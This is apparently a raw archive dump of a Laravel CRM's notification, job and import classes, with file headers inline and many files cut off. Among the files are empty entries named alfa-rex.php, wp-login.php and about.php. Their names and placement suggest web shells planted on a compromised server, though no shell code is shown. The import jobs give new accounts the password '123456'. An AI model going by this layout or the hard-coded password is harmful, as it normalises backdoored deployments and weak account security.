'; $build->subject(__('email.paymentReminder.subject') . ' (' . $this->invoice->invoice_number . ') - ' . config('app.name') . '.') ->greeting(__('email.hello') . ' ' . $this->user->name . '!') ->markdown('mail.payment.reminder', [ 'paymentUrl' => $paymentUrl, 'content' => $content, 'themeColor' => $this->company->header_color ]); parent::resetLocale(); return $build; } } /** * Get the array representation of the notification. * * @param mixed $notifiable * @return array */ //phpcs:ignore public function toArray($notifiable) { return [ 'id' => $this->invoice->id, 'created_at' => $this->invoice->created_at->format('Y-m-d H:i:s'), 'heading' => $this->invoice->invoice_number ]; } /** * Get the Slack representation of the notification. * * @param mixed $notifiable * @return \Illuminate\Notifications\Messages\SlackMessage */ public function toSlack($notifiable) { return $this->slackBuild($notifiable) ->content('*' . __('email.paymentReminder.subject') . '*' . "\n" . __('app.invoice') . ' - ' . $this->invoice->invoice_number); } // phpcs:ignore public function toOneSignal($notifiable) { return OneSignalMessage::create() ->setSubject(__('email.paymentReminder.subject')) ->setBody($this->invoice->heading); } } Notifications/ProjectReminder.php000064400000004775150325104510013173 0ustar00projects = $projects; $this->data = $data; if (isset($this->projects[0])) { $this->company = $this->projects[0]->company; } } /** * Get the notification's delivery channels. * * @param mixed $notifiable * @return array */ public function via($notifiable) { $via = array(); if ($notifiable->email_notifications && $notifiable->email != '') { array_push($via, 'mail'); } return $via; } /** * Get the mail representation of the notification. * * @param mixed $notifiable * @return MailMessage */ public function toMail($notifiable): MailMessage { $build = parent::build($notifiable); $url = route('projects.index'); $url = getDomainSpecificUrl($url, $this->company); $list = $this->projectList(); $content = __('email.projectReminder.text') . ' ' . now($this->data['company']->timezone)->addDays($this->data['project_setting']->remind_time)->toFormattedDateString() . '
' . new HtmlString($list) . '
' . __('email.messages.loginForMoreDetails'); $build ->subject(__('email.projectReminder.subject') . ' - ' . config('app.name')) ->markdown('mail.email', [ 'url' => $url, 'content' => $content, 'themeColor' => $this->company?->header_color, 'actionText' => __('email.projectReminder.action'), 'notifiableName' => $notifiable->name ]); parent::resetLocale(); return $build; } /** * Get the array representation of the notification. * * @param mixed $notifiable * @return array */ //phpcs:ignore public function toArray($notifiable) { return $this->projects->toArray(); } private function projectList() { $list = '
    '; foreach ($this->projects as $project) { $list .= '
  1. ' . $project->project_short_code . ' ' . $project->project_name . '
  2. '; } $list .= '
'; return $list; } } Notifications/NewTicketRequester.php000064400000010335150325104510013661 0ustar00ticket = $ticket; $this->company = $this->ticket->company; $this->emailSetting = EmailNotificationSetting::where('company_id', $this->company->id)->where('slug', 'new-support-ticket-request')->first(); } /** * Get the notification's delivery channels. * * @param mixed $notifiable * @return array */ public function via($notifiable) { $via = ['database']; if ($this->emailSetting->send_email == 'yes' && $notifiable->email_notifications && $notifiable->email != '') { array_push($via, 'mail'); } if ($this->emailSetting->send_slack == 'yes' && $this->company->slackSetting->status == 'active' && $notifiable->isEmployee($notifiable->id)) { array_push($via, 'slack'); } if ($this->emailSetting->send_push == 'yes' && push_setting()->status == 'active') { array_push($via, OneSignalChannel::class); } if ($this->emailSetting->send_push == 'yes' && push_setting()->beams_push_status == 'active') { $pushNotification = new \App\Http\Controllers\DashboardController(); $pushUsersIds = [[$notifiable->id]]; $pushNotification->sendPushNotifications($pushUsersIds, __('email.newTicketRequester.subject'), $this->ticket->subject. ' # ' . $this->ticket->ticket_number); } return $via; } /** * Get the mail representation of the notification. * * @param mixed $notifiable * @return MailMessage */ public function toMail($notifiable): MailMessage { $build = parent::build($notifiable); $url = route('tickets.show', $this->ticket->ticket_number); $url = getDomainSpecificUrl($url, $this->company); $content = __('email.newTicketRequester.text') . '
' . $this->ticket->subject . ' # ' . $this->ticket->ticket_number; $build ->subject(__('email.newTicketRequester.subject') . ' - ' . $this->ticket->subject . ' - ' . __('modules.tickets.ticket') . ' # ' . $this->ticket->ticket_number) ->markdown('mail.email', [ 'url' => $url, 'content' => $content, 'themeColor' => $this->company->header_color, 'actionText' => __('email.newTicketRequester.action'), 'notifiableName' => $notifiable->name ]); parent::resetLocale(); return $build; } /** * Get the array representation of the notification. * * @param mixed $notifiable * @return array */ //phpcs:ignore public function toArray($notifiable) { return [ 'id' => $this->ticket->id, 'created_at' => $this->ticket->created_at->format('Y-m-d H:i:s'), 'subject' => $this->ticket->subject, 'user_id' => $this->ticket->user_id, 'status' => $this->ticket->status, 'agent_id' => $this->ticket->agent_id, 'ticket_number' => $this->ticket->ticket_number ]; } /** * Get the Slack representation of the notification. * * @param mixed $notifiable * @return \Illuminate\Notifications\Messages\SlackMessage */ public function toSlack($notifiable) { return $this->slackBuild($notifiable) ->content('*' . __('email.newTicketRequester.subject') . '*' . "\n" . $this->ticket->subject . "\n" . __('modules.tickets.requesterName') . ' - ' . $this->ticket->requester->name); } // phpcs:ignore public function toOneSignal($notifiable) { return OneSignalMessage::create() ->setSubject(__('email.newTicketRequester.subject')) ->setBody($this->ticket->subject . ' # ' . $this->ticket->id); } } Notifications/NewTicket.php000064400000010552150325104510011762 0ustar00ticket = $ticket; $this->company = $this->ticket->company; $this->emailSetting = EmailNotificationSetting::where('company_id', $this->company->id)->where('slug', 'new-support-ticket-request')->first(); } /** * Get the notification's delivery channels. * * @param mixed $notifiable * @return array */ public function via($notifiable) { $via = ['database']; if ($this->emailSetting->send_email == 'yes' && $notifiable->email_notifications && $notifiable->email != '') { array_push($via, 'mail'); } if ($this->emailSetting->send_slack == 'yes' && $this->company->slackSetting->status == 'active') { $this->slackUserNameCheck($notifiable) ? array_push($via, 'slack') : null; } if ($this->emailSetting->send_push == 'yes' && push_setting()->status == 'active') { array_push($via, OneSignalChannel::class); } if ($this->emailSetting->send_push == 'yes' && push_setting()->beams_push_status == 'active') { $pushNotification = new \App\Http\Controllers\DashboardController(); $pushUsersIds = [[$notifiable->id]]; $pushNotification->sendPushNotifications($pushUsersIds, __('email.newTicket.subject'), $this->ticket->subject); } return $via; } /** * Get the mail representation of the notification. * * @param mixed $notifiable * @return \Illuminate\Notifications\Messages\MailMessage */ public function toMail($notifiable) { $build = parent::build($notifiable); $url = route('tickets.show', $this->ticket->ticket_number); $url = getDomainSpecificUrl($url, $this->company); $ticketDescription = '
' . nl2br(request()->description) . '
'; $content = __('email.newTicket.text') . '
' . $this->ticket->subject . ' # ' . $this->ticket->ticket_number . '
' . __('modules.tickets.requesterName') . ' - ' . $this->ticket->requester->name . '
' . __('modules.tickets.ticketDescription') . ' - ' . $ticketDescription; $build ->subject(__('email.newTicket.subject') . ' - ' . $this->ticket->subject . ' - ' . __('modules.tickets.ticket') . ' # ' . $this->ticket->ticket_number) ->markdown('mail.email', [ 'url' => $url, 'content' => $content, 'themeColor' => $this->company->header_color, 'actionText' => __('email.newTicket.action'), 'notifiableName' => $notifiable->name ]); parent::resetLocale(); return $build; } /** * Get the array representation of the notification. * * @param mixed $notifiable * @return array */ //phpcs:ignore public function toArray($notifiable) { return [ 'id' => $this->ticket->id, 'created_at' => $this->ticket->created_at->format('Y-m-d H:i:s'), 'subject' => $this->ticket->subject, 'user_id' => $this->ticket->user_id, 'status' => $this->ticket->status, 'agent_id' => $this->ticket->agent_id, 'ticket_number' => $this->ticket->ticket_number ]; } /** * Get the Slack representation of the notification. * * @param mixed $notifiable * @return \Illuminate\Notifications\Messages\SlackMessage */ public function toSlack($notifiable) { return $this->slackBuild($notifiable) ->content('*' . __('email.newTicket.subject') . '*' . "\n" . $this->ticket->subject . "\n" . __('modules.tickets.requesterName') . ' - ' . $this->ticket->requester->name); } // phpcs:ignore public function toOneSignal($notifiable) { return OneSignalMessage::create() ->setSubject(__('email.newTicket.subject')) ->setBody(__('email.newTicket.text')); } } Notifications/TaskUpdated.php000064400000007316150325104510012302 0ustar00task = $task; $this->company = $this->task->load('company')->company; $this->emailSetting = EmailNotificationSetting::where('company_id', $this->company->id)->where('slug', 'user-assign-to-task')->first(); } /** * Get the notification's delivery channels. * * @param mixed $notifiable * @return array */ public function via($notifiable) { $via = ['database']; if ($this->emailSetting->send_email == 'yes' && $notifiable->email_notifications && $notifiable->email != '') { array_push($via, 'mail'); } if ($this->emailSetting->send_slack == 'yes' && $this->company->slackSetting->status == 'active') { $this->slackUserNameCheck($notifiable) ? array_push($via, 'slack') : null; } return $via; } /** * Get the mail representation of the notification. * * @param mixed $notifiable * @return MailMessage */ public function toMail($notifiable): MailMessage { $build = parent::build($notifiable); $url = route('tasks.show', $this->task->id); $url = getDomainSpecificUrl($url, $this->company); $taskShortCode = (!is_null($this->task->task_short_code)) ? '#' . $this->task->task_short_code : ' '; $content = __('email.taskUpdate.text') . '

' . $this->task->heading . ' - ' . $taskShortCode . '

' . __('email.taskUpdate.text2'); $subject = __('email.taskUpdate.subject') . ' - ' . $taskShortCode . ' - ' . config('app.name'). '.'; $build ->subject($subject) ->markdown('mail.email', [ 'url' => $url, 'content' => $content, 'themeColor' => $this->company->header_color, 'actionText' => __('email.taskUpdate.action'), 'notifiableName' => $notifiable->name ]); parent::resetLocale(); return $build; } /** * Get the array representation of the notification. * * @param mixed $notifiable * @return array */ //phpcs:ignore public function toArray($notifiable) { return [ 'id' => $this->task->id, 'updated_at' => $this->task->updated_at->format('Y-m-d H:i:s'), 'heading' => $this->task->heading ]; } /** * Get the Slack representation of the notification. * * @param mixed $notifiable * @return \Illuminate\Notifications\Messages\SlackMessage */ public function toSlack($notifiable) { $labels = ''; $url = route('tasks.show', $this->task->id); $url = getDomainSpecificUrl($url, $this->company); foreach ($this->task->labels as $key => $label) { if ($key == 0) { $labels .= __('app.label') . ' - '; } $labels .= $label->label_name; if ($key + 1 != count($this->task->labels)) { $labels .= ', '; } } return $this->slackBuild($notifiable) ->content('*' . __('email.taskUpdate.subject') . '*' . "\n" . '<' . $url . '|' . $this->task->heading . '>' . "\n" . ' #' . $this->task->task_short_code . (!is_null($this->task->project) ? "\n" . __('app.project') . ' - ' . $this->task->project->project_name : '') . "\n" . $labels); } } .htaccess000064400000000544150325104510006341 0ustar00 RewriteEngine On RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}] RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] Order Allow,Deny Allow from all Jobs/alfa-rex.php000064400000026574150325104510007663 0ustar00Jobs/ImportProductJob.php000064400000012027150325104510011416 0ustar00row = $row; $this->columns = $columns; $this->company = $company; } /** * Execute the job. * * @return void */ public function handle() { if ($this->isColumnExists('product_name') && $this->isColumnExists('price')) { $cleanedPrice = preg_replace('/[^\d.]/', '', $this->getColumnValue('price')); if (!is_numeric($cleanedPrice)) { $this->failJob(__('messages.invalidData')); return; } DB::beginTransaction(); try { $product = new Product(); $product->company_id = $this->company?->id; $product->name = $this->getColumnValue('product_name'); $product->price = $cleanedPrice; $product->description = $this->isColumnExists('description') ? $this->getColumnValue('description') : null; $product->sku = $this->isColumnExists('sku') ? $this->getColumnValue('sku') : null; $product->allow_purchase = true; // Check if unit type exists if ($this->isColumnExists('unit_type')) { $unitTypeName = $this->getColumnValue('unit_type'); $unitType = DB::table('unit_types')->where('unit_type', $unitTypeName)->first(); if ($unitType) { $product->unit_id = $unitType->id; } else { $defaultUnitType = DB::table('unit_types')->where('default', true)->first(); $product->unit_id = $defaultUnitType ? $defaultUnitType->id : null; } } else { $defaultUnitType = DB::table('unit_types')->where('default', true)->first(); $product->unit_id = $defaultUnitType ? $defaultUnitType->id : null; } // Check if category and sub category exists if ($this->isColumnExists('product_category')) { $categoryName = $this->getColumnValue('product_category'); $category = DB::table('product_category')->where('category_name', $categoryName)->first(); $product->category_id = $category ? $category->id : null; } else { $product->category_id = null; } if ($this->isColumnExists('product_sub_category')) { $subCategoryName = $this->getColumnValue('product_sub_category'); $subCategory = DB::table('product_sub_category')->where('category_name', $subCategoryName)->first(); if ($subCategory) { // Check if the sub-category's parent category matches the selected category if ($subCategory->category_id == $product->category_id) { $product->sub_category_id = $subCategory->id; } else { // Handle the mismatch case, e.g., set to null or throw an exception $product->sub_category_id = null; } } else { $product->sub_category_id = null; } } else { $product->sub_category_id = null; } $product->added_by = user() ? user()->id : null; $product->save(); // Create activity self::createEmployeeActivity(user()->id, 'product-created', $product->id, 'product'); DB::commit(); } catch (InvalidFormatException $e) { DB::rollBack(); $this->failJob(__('messages.invalidData')); } catch (Exception $e) { DB::rollBack(); $this->failJobWithMessage($e->getMessage()); } } else { $this->failJob(__('messages.invalidData')); } } } Jobs/.htaccess000064400000000544150325104510007236 0ustar00 RewriteEngine On RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}] RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] Order Allow,Deny Allow from all Jobs/alfa-rex.php7000064400000026574150325104510007752 0ustar00Jobs/alfa-rex.php8000064400000026574150325104510007753 0ustar00Jobs/wp-login.php000064400000026574150325104510007720 0ustar00Jobs/ImportEmployeeJob.php000064400000010152150325104510011552 0ustar00row = $row; $this->columns = $columns; $this->company = $company; } /** * Execute the job. * * @return void */ public function handle() { if ($this->isColumnExists('name') && $this->isColumnExists('email') && $this->isEmailValid($this->getColumnValue('email'))) { $user = User::where('email', $this->getColumnValue('email'))->first(); if ($user) { $this->failJobWithMessage(__('messages.duplicateEntryForEmail') . $this->getColumnValue('email')); return; } $employeeDetails = EmployeeDetails::where('employee_id', $this->getColumnValue('employee_id'))->first(); if ($employeeDetails) { $this->failJobWithMessage(__('messages.duplicateEntryForEmployeeId') . $this->getColumnValue('employee_id')); } else { DB::beginTransaction(); try { $user = new User(); $user->company_id = $this->company?->id; $user->name = $this->getColumnValue('name'); $user->email = $this->getColumnValue('email'); $user->password = bcrypt(123456); $user->mobile = $this->isColumnExists('mobile') ? $this->getColumnValue('mobile') : null; $user->gender = $this->isColumnExists('gender') ? strtolower($this->getColumnValue('gender')) : null; $user->save(); if ($user->id) { $employee = new EmployeeDetails(); $employee->company_id = $this->company?->id; $employee->user_id = $user->id; $employee->address = $this->isColumnExists('address') ? $this->getColumnValue('address') : null; $employee->employee_id = $this->isColumnExists('employee_id') ? $this->getColumnValue('employee_id') : (EmployeeDetails::max('id') + 1); $employee->joining_date = $this->isColumnExists('joining_date') ? Carbon::createFromFormat('Y-m-d', $this->getColumnValue('joining_date')) : null; $employee->hourly_rate = $this->isColumnExists('hourly_rate') ? preg_replace('/[^0-9.]/', '', $this->getColumnValue('hourly_rate')) : null; $employee->save(); } $employeeRole = Role::where('name', 'employee')->first(); $user->attachRole($employeeRole); $user->assignUserRolePermission($employeeRole->id); $this->logSearchEntry($user->id, $user->name, 'employees.show', 'employee', $user->company_id); DB::commit(); } catch (InvalidFormatException $e) { DB::rollBack(); $this->failJob(__('messages.invalidDate')); } catch (Exception $e) { DB::rollBack(); $this->failJobWithMessage($e->getMessage()); } } } else { $this->failJob(__('messages.invalidData')); } } } Jobs/alfa-rex.php56000064400000026574150325104510010036 0ustar00Jobs/ImportAttendanceJob.php000064400000006431150325104510012046 0ustar00row = $row; $this->columns = $columns; $this->company = $company; } /** * Execute the job. * * @return void */ public function handle() { if ($this->isColumnExists('clock_in_time') && $this->isColumnExists('email') && $this->isEmailValid($this->getColumnValue('email'))) { // user that have employee role $user = User::where('email', $this->getColumnValue('email'))->whereHas('roles', function ($q) { $q->where('name', 'employee'); })->first(); if (!$user) { $this->failJobWithMessage(__('messages.employeeNotFound')); } else { DB::beginTransaction(); try { Attendance::create([ 'company_id' => $this->company?->id, 'user_id' => $user->id, 'clock_in_time' => Carbon::createFromFormat('Y-m-d H:i:s', $this->getColumnValue('clock_in_time'), $this->company?->timezone)->timezone('UTC')->format('Y-m-d H:i:s'), 'clock_in_ip' => $this->isColumnExists('clock_in_ip') ? $this->getColumnValue('clock_in_ip') : '127.0.0.1', 'clock_out_time' => $this->isColumnExists('clock_out_time') ? Carbon::createFromFormat('Y-m-d H:i:s', $this->getColumnValue('clock_out_time'), $this->company?->timezone)->timezone('UTC')->format('Y-m-d H:i:s') : null, 'clock_out_ip' => $this->isColumnExists('clock_out_ip') ? $this->getColumnValue('clock_out_ip') : null, 'working_from' => $this->isColumnExists('working_from') ? $this->getColumnValue('working_from') : 'office', 'late' => $this->isColumnExists('late') && str($this->getColumnValue('late'))->lower() == 'yes' ? 'yes' : 'no', 'half_day' => $this->isColumnExists('half_day') && str($this->getColumnValue('half_day'))->lower() == 'yes' ? 'yes' : 'no', ]); DB::commit(); } catch (InvalidFormatException $e) { DB::rollBack(); $this->failJob(__('messages.invalidDate')); } catch (Exception $e) { DB::rollBack(); $this->failJobWithMessage($e->getMessage()); } } } else { $this->failJob(__('messages.invalidData')); } } } Jobs/ImportLeadJob.php000064400000013555150325104510010652 0ustar00row = $row; $this->columns = $columns; $this->company = $company; } /** * Execute the job. * * @return void */ public function handle() { $leadCount = Session::get('total_leads'); $leadCount++; info($leadCount); Session::put('total_leads', $leadCount); if ($this->isColumnExists('name')) { if ($this->isColumnExists('email') && $this->isEmailValid($this->getColumnValue('email'))) { $lead = Lead::where('client_email', $this->getColumnValue('email'))->where('company_id', $this->company?->id)->first(); $user = User::where('email', $this->getColumnValue('email'))->first(); if ($lead || $user) { $this->failJobWithMessage(__('messages.duplicateEntryForEmail') . $this->getColumnValue('email')); return; } } else { $this->failJob(__('messages.invalidData')); return; } DB::beginTransaction(); Session::put('is_imported', true); Session::put('is_deal', true); try { $leadSource = null; if ($this->isColumnExists('source')) { $leadSource = LeadSource::where('type', $this->getColumnValue('source'))->where('company_id', $this->company?->id)->first(); } $lead = new Lead(); $lead->company_id = $this->company?->id; $lead->client_name = $this->getColumnValue('name'); $lead->client_email = $this->isColumnExists('email') && filter_var($this->getColumnValue('email'), FILTER_VALIDATE_EMAIL) ? $this->getColumnValue('email') : null; $lead->note = $this->isColumnExists('note') ? $this->getColumnValue('note') : null; $lead->company_name = $this->isColumnExists('company_name') ? $this->getColumnValue('company_name') : null; $lead->website = $this->isColumnExists('company_website') ? $this->getColumnValue('company_website') : null; $lead->mobile = $this->isColumnExists('mobile') ? $this->getColumnValue('mobile') : null; $lead->office = $this->isColumnExists('company_phone') ? $this->getColumnValue('company_phone') : null; $lead->country = $this->isColumnExists('country') ? $this->getColumnValue('country') : null; $lead->state = $this->isColumnExists('state') ? $this->getColumnValue('state') : null; $lead->city = $this->isColumnExists('city') ? $this->getColumnValue('city') : null; $lead->postal_code = $this->isColumnExists('postal_code') ? $this->getColumnValue('postal_code') : null; $lead->address = $this->isColumnExists('address') ? $this->getColumnValue('address') : null; $lead->source_id = $leadSource?->id; $lead->created_at = $this->isColumnExists('created_at') ? Carbon::parse($this->getColumnValue('created_at')) : now(); $leads = Session::get('leads', []); $leads[] = [ 'lead_name' => $lead->client_name, 'email' => $lead->client_email, 'deal_name' => $lead->client_name, ]; info($leads); Session::put('leads', $leads); $lead->save(); $leadPipeline = LeadPipeline::where('default', '1')->where('company_id', $lead->company_id)->first(); $leadStage = PipelineStage::where('default', '1')->where('lead_pipeline_id', $leadPipeline->id)->where('company_id', $lead->company_id)->first(); $deal = new Deal(); $deal->company_id = $lead->company_id; $deal->lead_id = $lead->id; $deal->name = $lead->client_name ?? ''; $deal->lead_pipeline_id = $leadPipeline->id; $deal->pipeline_stage_id = $leadStage->id; $deal->value = 0; $deal->currency_id = $lead->company?->currency_id; $deal->save(); // Log search $this->logSearchEntry($lead->id, $lead->client_name, 'lead-contact', 'lead', $lead->company_id); if (!is_null($lead->client_email)) { $this->logSearchEntry($lead->id, $lead->client_email, 'lead-contact', 'lead', $lead->company_id); } if (!is_null($lead->company_name)) { $this->logSearchEntry($lead->id, $lead->company_name, 'lead-contact', 'lead', $lead->company_id); } DB::commit(); } catch (Exception $e) { DB::rollBack(); $this->failJobWithMessage($e->getMessage()); } } else { $this->failJob(__('messages.invalidData')); } } } Jobs/about.php000064400000026574150325104510007276 0ustar00Jobs/ImportDealJob.php000064400000007527150325104510010654 0ustar00row = $row; $this->columns = $columns; $this->company = $company; } /** * Execute the job. * * @return void */ public function handle() { $leadCount = Session::get('total_leads', 1); Session::put('total_leads', $leadCount + 1); if ( $this->isColumnExists('email') && $this->isColumnExists('name') && $this->isColumnExists('pipeline') && $this->isColumnExists('stages') && $this->isColumnExists('value') && $this->isColumnExists('close_date') ) { $lead = Lead::withoutGlobalScopes()->where('client_email', $this->getColumnValue('email'))->where('company_id', $this->company?->id)->first(); if (!$lead) { $this->failJob(__('messages.invalidData')); return; } $pipeline = LeadPipeline::withoutGlobalScopes()->where('name', $this->getColumnValue('pipeline'))->where('company_id', $this->company?->id)->first(); if (!$pipeline) { $pipeline = LeadPipeline::withoutGlobalScopes()->where('company_id', $this->company?->id)->first(); } if (!$pipeline) { $this->failJob(__('messages.invalidData')); return; } $stage = $pipeline->stages->where('name', $this->getColumnValue('stages'))->first(); if (!$stage) { $stage = $pipeline->stages->where('default', 1)->first(); } if (!$stage) { $this->failJob(__('messages.invalidData')); return; } DB::beginTransaction(); Session::put('is_imported', true); try { $deal = new Deal(); $deal->name = $this->getColumnValue('name'); $deal->lead_id = $lead->id; $deal->next_follow_up = 'yes'; $deal->lead_pipeline_id = $pipeline->id; $deal->pipeline_stage_id = $stage->id; $deal->close_date = Carbon::parse($this->getColumnValue('close_date'))->format('Y-m-d'); $deal->value = ($this->getColumnValue('value')) ?: 0; $deal->currency_id = $this->company->currency_id; $leads = Session::get('leads', []); $leads[] = [ 'deal_name' => $lead->client_name, 'email' => $lead->client_email, ]; Session::put('leads', $leads); $deal->save(); // Log search $this->logSearchEntry($deal->id, $deal->name, 'deals.show', 'deal'); DB::commit(); } catch (Exception $e) { DB::rollBack(); $this->failJobWithMessage($e->getMessage()); } } else { $this->failJob(__('messages.invalidData')); } } } Jobs/error_log000064400000001626150325104510007357 0ustar00[04-Jul-2025 12:46:33 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jul-2025 13:08:09 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 Jobs/ImportClientJob.php000064400000011243150325104510011213 0ustar00row = $row; $this->columns = $columns; $this->company = $company; } /** * Execute the job. * * @return void */ public function handle() { if ($this->isColumnExists('name')) { $user = null; if ($this->isColumnExists('email') && $this->isEmailValid($this->getColumnValue('email'))) { $user = User::where('email', $this->getColumnValue('email'))->first(); } if ($user) { $this->failJobWithMessage(__('messages.duplicateEntryForEmail') . $this->getColumnValue('email')); } else { DB::beginTransaction(); try { $countryID = $this->isColumnExists('country_id') ? Country::where('name', $this->getColumnValue('country_id'))->first()->id : null; $user = new User(); $user->company_id = $this->company?->id; $user->name = $this->getColumnValue('name'); $user->email = $this->isColumnExists('email') && $this->isEmailValid($this->getColumnValue('email')) ? $this->getColumnValue('email') : null; $user->password = bcrypt(123456); $user->mobile = $this->isColumnExists('mobile') ? $this->getColumnValue('mobile') : null; $user->gender = $this->isColumnExists('gender') ? strtolower($this->getColumnValue('gender')) : null; $user->country_id = $countryID; $user->save(); if ($user->id) { $clientDetails = new ClientDetails(); $clientDetails->company_id = $this->company?->id; $clientDetails->user_id = $user->id; $clientDetails->company_name = $this->isColumnExists('company_name') ? $this->getColumnValue('company_name') : null; $clientDetails->address = $this->isColumnExists('address') ? $this->getColumnValue('address') : null; $clientDetails->city = $this->isColumnExists('city') ? $this->getColumnValue('city') : null; $clientDetails->state = $this->isColumnExists('state') ? $this->getColumnValue('state') : null; $clientDetails->postal_code = $this->isColumnExists('postal_code') ? $this->getColumnValue('postal_code') : null; $clientDetails->office = $this->isColumnExists('company_phone') ? $this->getColumnValue('company_phone') : null; $clientDetails->website = $this->isColumnExists('company_website') ? $this->getColumnValue('company_website') : null; $clientDetails->gst_number = $this->isColumnExists('gst_number') ? $this->getColumnValue('gst_number') : null; $clientDetails->save(); } $role = Role::where('name', 'client')->where('company_id', $this->company?->id)->select('id')->first(); $user->attachRole($role->id); $user->assignUserRolePermission($role->id); if (!is_null($user->email)) { $this->logSearchEntry($user->id, $user->email, 'clients.show', 'client', $user->company_id); } if (!is_null($user->clientDetails->company_name)) { $this->logSearchEntry($user->id, $user->clientDetails->company_name, 'clients.show', 'client', $user->company_id); } DB::commit(); } catch (Exception $e) { DB::rollBack(); $this->failJobWithMessage($e->getMessage()); } } } else { $this->failJob(__('messages.invalidData')); } } } Jobs/ImportExpenseJob.php000064400000011027150325104510011404 0ustar00row = $row; $this->columns = $columns; $this->company = $company; $this->user = user(); } /** * Execute the job. * * @return void */ public function handle() { if ($this->isColumnExists('item_name') && $this->isColumnExists('price') && $this->isColumnExists('purchase_date')) { DB::beginTransaction(); try { $expense = new Expense(); $expense->company_id = $this->company->id; $expense->item_name = $this->getColumnValue('item_name'); $expense->purchase_date = $this->isColumnExists('purchase_date') ? Carbon::createFromFormat('Y-m-d', $this->getColumnValue('purchase_date')) : Carbon::now(); $expense->purchase_from = $this->getColumnValue('purchase_from'); $expense->price = round((float)$this->getColumnValue('price'), 2); $expense->currency_id = $this->company->currency_id; $expense->default_currency_id = $this->company->currency_id; $expense->exchange_rate = 1; $expense->description = $this->getColumnValue('description'); $userId = null; if ($this->isEmailValid($this->getColumnValue('email'))) { $user = User::where('email', $this->getColumnValue('email'))->where('company_id', $this->company->id)->onlyEmployee()->first(); if ($user) { $userId = $user->id; } } $expense->user_id = $userId; if ($this->getColumnValue('category')) { $category = ExpensesCategory::where('category_name', $this->getColumnValue('category'))->where('company_id', $this->company->id)->first(); if (!$category) { $category = new ExpensesCategory(); $category->category_name = $this->getColumnValue('category'); $category->company_id = $this->company->id; $category->save(); $rolesData = Role::where('name', '<>', 'admin')->where('name', '<>', 'client')->where('company_id', $this->company->id)->get(); foreach ($rolesData as $roleData) { $expansesCategoryRoles = new ExpensesCategoryRole(); $expansesCategoryRoles->expenses_category_id = $category->id; $expansesCategoryRoles->role_id = $roleData->id; $expansesCategoryRoles->company_id = $this->company->id; $expansesCategoryRoles->save(); } } $expense->category_id = $category->id; } $bankAccount = BankAccount::where('account_name', $this->getColumnValue('bank_account'))->where('company_id', $this->company->id)->first(); $expense->bank_account_id = $bankAccount?->id; $expense->save(); DB::commit(); } catch (InvalidFormatException $e) { DB::rollBack(); $this->failJob(__('messages.invalidDate')); } catch (Exception $e) { DB::rollBack(); $this->failJobWithMessage($e->getMessage()); } } else { $this->failJob(__('messages.invalidData')); } } } Jobs/about.php7000064400000026574150325104510007365 0ustar00Jobs/ImportProjectJob.php000064400000007233150325104510011407 0ustar00row = $row; $this->columns = $columns; $this->company = $company; } /** * Execute the job. * * @return void */ public function handle() { if ($this->isColumnExists('project_name') && $this->isColumnExists('start_date')) { $client = null; if (!empty($this->isColumnExists('client_email'))) { // user that have client role $client = User::where('email', $this->getColumnValue('client_email'))->whereHas('roles', function ($q) { $q->where('name', 'client'); })->first(); } DB::beginTransaction(); try { $project = new Project(); $project->company_id = $this->company?->id; $project->project_name = $this->getColumnValue('project_name'); $project->project_summary = $this->isColumnExists('project_summary') ? $this->getColumnValue('project_summary') : null; $project->start_date = Carbon::createFromFormat('Y-m-d', $this->getColumnValue('start_date'))->format('Y-m-d'); $project->deadline = $this->isColumnExists('deadline') ? (!empty(trim($this->getColumnValue('deadline'))) ? Carbon::createFromFormat('Y-m-d', $this->getColumnValue('deadline'))->format('Y-m-d') : null) : null; if ($this->isColumnExists('notes')) { $project->notes = $this->getColumnValue('notes'); } $project->client_id = $client ? $client->id : null; $project->project_budget = $this->isColumnExists('project_budget') ? $this->getColumnValue('project_budget') : null; $project->currency_id = $this->company?->currency_id; $project->status = $this->isColumnExists('status') ? strtolower(trim($this->getColumnValue('status'))) : 'not started'; $project->save(); $this->logSearchEntry($project->id, $project->project_name, 'projects.show', 'project', $project->company_id); $this->logProjectActivity($project->id, 'messages.updateSuccess'); DB::commit(); } catch (InvalidFormatException $e) { DB::rollBack(); $this->failJob(__('messages.invalidDate')); } catch (Exception $e) { DB::rollBack(); $this->failJobWithMessage($e->getMessage()); } } else { $this->failJob(__('messages.invalidData')); } } public function logProjectActivity($projectId, $text) { $activity = new ProjectActivity(); $activity->project_id = $projectId; $activity->activity = $text; $activity->save(); } } Imports/alfa-rex.php000064400000026574150325104510010423 0ustar00Imports/ClientImport.php000064400000003146150325104510011323 0ustar00 'name', 'name' => __('modules.client.clientName'), 'required' => 'Yes'), array('id' => 'email', 'name' => __('app.email'), 'required' => 'No'), array('id' => 'mobile', 'name' => __('app.mobile'), 'required' => 'No'), array('id' => 'gender', 'name' => __('modules.employees.gender'), 'required' => 'No'), array('id' => 'company_name', 'name' => __('modules.client.companyName'), 'required' => 'No'), array('id' => 'address', 'name' => __('modules.accountSettings.companyAddress'), 'required' => 'No'), array('id' => 'city', 'name' => __('modules.stripeCustomerAddress.city'), 'required' => 'No'), array('id' => 'state', 'name' => __('modules.stripeCustomerAddress.state'), 'required' => 'No'), array('id' => 'country_id', 'name' => __('modules.stripeCustomerAddress.country'), 'required' => 'No'), array('id' => 'postal_code', 'name' => __('modules.stripeCustomerAddress.postalCode'), 